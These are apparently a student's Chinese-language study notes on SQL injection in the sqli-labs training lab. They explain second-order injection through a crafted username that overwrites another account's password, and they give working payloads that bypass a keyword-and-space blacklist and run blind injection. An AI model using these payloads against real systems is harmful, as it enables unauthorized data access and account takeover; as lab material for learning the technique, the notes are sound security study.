SQL注入基础学习6
SQL注入基础学习6
三、sqli-labs的page-2
6、第24关
二次注入基础知识
-
二次注入原理:在第一次进行数据库插入数据的时候,仅仅只是使用了
addslashes
(addslashes()
函数返回在预定义字符之前添加反斜杠的字符串。)或者是借助get_magic_quotes_gpc
(php7.4版本之后被弃用)对其中的特殊字符进行了转义,但是addslashes
有一个特点就是虽然在过滤后会添加\
进行转义,但是\
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据 -
二次注入的过程:
- 第一步:插入恶意数据
- 第一次进行数据库插入数据的时候,仅仅对其的特殊字符进行转义,在写入数据库的时候还是保留了原来的数据,但是数据的本身包含恶意内容
- 第二步:引用恶意数据
- 再将数据存入到数据库中后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出恶意数据,没有进行校验和处理。这样就会造成sql二次注入
- 图解
- 第一步:插入恶意数据
-
关卡实操
-
查看数据库中的用户
假如你知道有用户admin4,但是不知道密码,此时可以从二次注入来将admin4给修改了
-
注册一个新用户
admin4' #
-
登录
admin4' #
,修改密码,将密码改为56789
此时会发现,是admin4的账户密码被修改了
-
分析修改密码的部分代码
-
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
注册的恶意用户可以将
sql
语句闭合并且注释了后面密码对比,以次达到二次注入的效果
-
-
7、第27关
查看该关卡对过滤要求的源码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
-
绕过手法:
-
空格的过滤可以用
%0a
来绕过 -
union可以用双写绕过,也可以用大小写绕过
-
select观察源码,过滤了两次,可以写三次来绕过或者大小写绕过
-
payload:
id=0'%0auniunionon%0aseselselectectlect%0a1,2,3%0aor%0a'1'='1 id=0'%0auNion%0aseLect%0a1,2,3%0aor%0a'1'='1
-
8、第27a关
该关卡在上一关的基础上加了盲注,分析源码
-
过滤的内容
function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out Select return $id; }
-
收到参数后的处理
根据源码可以知道,闭合方式为"
闭合
构造payload
获取数据库长度
?id=1"%0aand%0aif%0a(length(database())=8,1,0)%0aand%0a"1"="1
数据库的名字
?id=1"%0aand%0aif%0a(mid(database(),1,1)='s',1,0)%0aand%0a"1"="1
表的个数
?id=1"%0aand%0a(SelecT%0a count(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())=4%0aand%0a"1"="1